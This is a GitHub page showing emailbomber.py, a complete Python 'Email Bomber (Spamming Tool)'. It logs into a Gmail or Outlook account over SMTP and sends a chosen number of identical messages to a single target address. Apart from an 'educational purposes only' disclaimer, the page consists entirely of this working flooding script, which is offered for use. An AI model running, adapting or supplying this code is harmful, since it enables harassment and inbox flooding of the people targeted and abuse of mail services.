-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathemailbomber.py
90 lines (73 loc) · 2.6 KB
/
emailbomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python
#E-bomber
#This code for education purpose only.
#Use it at your own risk !!!
import smtplib
import sys
import time
print()
print()
print(' ################################################# ')
print(' # # ')
print(' # Email Bomber ( Spamming Tool ) # ')
print(' # # ')
print(' # Version 1.0 # ')
print(' # # ')
print(' # Created by : Mahek Katariya # ')
print(' # # ')
print(' # Only for Educational Purposes !! # ')
print(' # # ')
print(' ################################################# ')
print()
print()
print('Which email service you want to use : \nPress 1 for Gmail Press 2 for Microsoft Outlook \n')
while True :
choice = input('Enter Your choice : ')
if choice == '1' :
smtp_server = 'smtp.gmail.com'
break
elif choice == '2' :
smtp_server = 'smtp-mail.outlook.com'
break
else :
print('\nWrong Choise Please Enter again.\n')
port = 587
while True :
email = input('\nAttacker Email Address : ')
print()
passwd = input('Password: ')
try :
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
server.starttls()
server.login(email,passwd)
print('\nLogin Successful....')
break
except KeyboardInterrupt:
print('[-] Canceled')
except smtplib.SMTPAuthenticationError:
print('\n[!] The username or password you entered is incorrect.')
print()
to = input('To: ')
print()
subject = input('Subject: ')
print()
body = input('Message: ')
print()
total = int(input('Number of send: '))
print()
try:
for i in range(1, total+1):
msg = 'From: ' + email + '\nSubject: ' + subject + '\n\n' + body
server.sendmail(email,to,msg)
print("\rE-mails sent: ",i)
time.sleep(0.5)
sys.stdout.flush()
server.quit()
print('\nDone !!!')
except KeyboardInterrupt:
print('[-] Canceled')
sys.exit()
except SMTPException:
print("Error Occured : \nReasons - \n1.Check Your internet connection \n2.Error in sending email \n3.You didn't verify your mobile number for this email \n4.Some internal error occured please try again.")
sys.exit()